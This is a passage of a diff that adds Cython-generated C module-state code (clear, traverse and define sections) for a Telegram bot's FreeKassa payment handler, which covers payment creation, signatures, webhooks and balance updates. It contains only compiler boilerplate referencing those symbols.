Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_); + Py_CLEAR(clear_module_state->__pyx_n_s_DEBUG); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FREEKASSA_API_KEY); + Py_CLEAR(clear_module_state->__pyx_n_s_FREEKASSA_SHOP_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_3); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_4); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_5); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_n_u_RUB); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_n_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_n_s__24); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_n_s__35); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__7); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_api_key); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_basicConfig); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_c); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_u_completed); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_create_payment); + Py_CLEAR(clear_module_state->__pyx_n_u_currency); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_n_s_email); + Py_CLEAR(clear_module_state->__pyx_n_u_email); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_s_encode); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_u_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_u_freekassa_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_freekassa_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_freekassa_webhook); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_signature_locals_genexp); + Py_CLEAR(clear_module_state->__pyx_n_s_genexpr); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_freekassa_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_freekassa_pay_2); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_n_s_hmac); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_api_freekassa_com_v1_order); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_u_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_ip); + Py_CLEAR(clear_module_state->__pyx_n_u_ip); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_k); + Py_CLEAR(clear_module_state->__pyx_n_s_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_lambda); + Py_CLEAR(clear_module_state->__pyx_n_s_level); + Py_CLEAR(clear_module_state->__pyx_n_u_location); + Py_CLEAR(clear_module_state->__pyx_n_s_logging); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_u_metadata); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_new); + Py_CLEAR(clear_module_state->__pyx_n_s_nonce); + Py_CLEAR(clear_module_state->__pyx_n_u_nonce); + Py_CLEAR(clear_module_state->__pyx_n_s_params); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_u_paymentId); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_id); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_requests); + Py_CLEAR(clear_module_state->__pyx_n_s_response); + Py_CLEAR(clear_module_state->__pyx_n_s_response_data); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_n_s_sha256); + Py_CLEAR(clear_module_state->__pyx_n_u_shopId); + Py_CLEAR(clear_module_state->__pyx_n_s_sign_string); + Py_CLEAR(clear_module_state->__pyx_n_u_signature); + Py_CLEAR(clear_module_state->__pyx_kp_u_solo_net); + Py_CLEAR(clear_module_state->__pyx_n_s_sorted_params); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_u_success); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_time); + Py_CLEAR(clear_module_state->__pyx_n_u_type); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_email); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_n_u_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_user_ip); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); + Py_CLEAR(clear_module_state->__pyx_n_s_values); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_6); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_1000); + Py_CLEAR(clear_module_state->__pyx_tuple__3); + Py_CLEAR(clear_module_state->__pyx_tuple__10); + Py_CLEAR(clear_module_state->__pyx_tuple__22); + Py_CLEAR(clear_module_state->__pyx_tuple__26); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__33); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_codeobj__2); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__6); + Py_CLEAR(clear_module_state->__pyx_codeobj__9); + Py_CLEAR(clear_module_state->__pyx_codeobj__17); + Py_CLEAR(clear_module_state->__pyx_codeobj__19); + Py_CLEAR(clear_module_state->__pyx_codeobj__27); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_); + Py_VISIT(traverse_module_state->__pyx_n_s_DEBUG); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FREEKASSA_API_KEY); + Py_VISIT(traverse_module_state->__pyx_n_s_FREEKASSA_SHOP_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_3); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_4); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_5); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_n_u_RUB); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_n_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_n_s__24); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_n_s__35); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__7); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_api_key); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_basicConfig); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_c); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_u_completed); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_create_payment); + Py_VISIT(traverse_module_state->__pyx_n_u_currency); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_n_s_email); + Py_VISIT(traverse_module_state->__pyx_n_u_email); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_s_encode); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_u_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_u_freekassa_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_freekassa_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_freekassa_webhook); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_signature_locals_genexp); + Py_VISIT(traverse_module_state->__pyx_n_s_genexpr); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_freekassa_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_freekassa_pay_2); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_n_s_hmac); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_api_freekassa_com_v1_order); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_u_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_ip); + Py_VISIT(traverse_module_state->__pyx_n_u_ip); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_k); + Py_VISIT(traverse_module_state->__pyx_n_s_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_lambda); + Py_VISIT(traverse_module_state->__pyx_n_s_level); + Py_VISIT(traverse_module_state->__pyx_n_u_location); + Py_VISIT(traverse_module_state->__pyx_n_s_logging); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_u_metadata); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_new); + Py_VISIT(traverse_module_state->__pyx_n_s_nonce); + Py_VISIT(traverse_module_state->__pyx_n_u_nonce); + Py_VISIT(traverse_module_state->__pyx_n_s_params); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_u_paymentId); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_id); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_requests); + Py_VISIT(traverse_module_state->__pyx_n_s_response); + Py_VISIT(traverse_module_state->__pyx_n_s_response_data); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_n_s_sha256); + Py_VISIT(traverse_module_state->__pyx_n_u_shopId); + Py_VISIT(traverse_module_state->__pyx_n_s_sign_string); + Py_VISIT(traverse_module_state->__pyx_n_u_signature); + Py_VISIT(traverse_module_state->__pyx_kp_u_solo_net); + Py_VISIT(traverse_module_state->__pyx_n_s_sorted_params); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_u_success); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_time); + Py_VISIT(traverse_module_state->__pyx_n_u_type); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_email); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_n_u_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_user_ip); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); + Py_VISIT(traverse_module_state->__pyx_n_s_values); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_6); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_1000); + Py_VISIT(traverse_module_state->__pyx_tuple__3); + Py_VISIT(traverse_module_state->__pyx_tuple__10); + Py_VISIT(traverse_module_state->__pyx_tuple__22); + Py_VISIT(traverse_module_state->__pyx_tuple__26); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__33); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_codeobj__2); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__6); + Py_VISIT(traverse_module_state->__pyx_codeobj__9); + Py_VISIT(traverse_module_state->__pyx_codeobj__17); + Py_VISIT(traverse_module_state->__pyx_codeobj__19); + Py_VISIT(traverse_module_state->__pyx_codeobj__27); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef 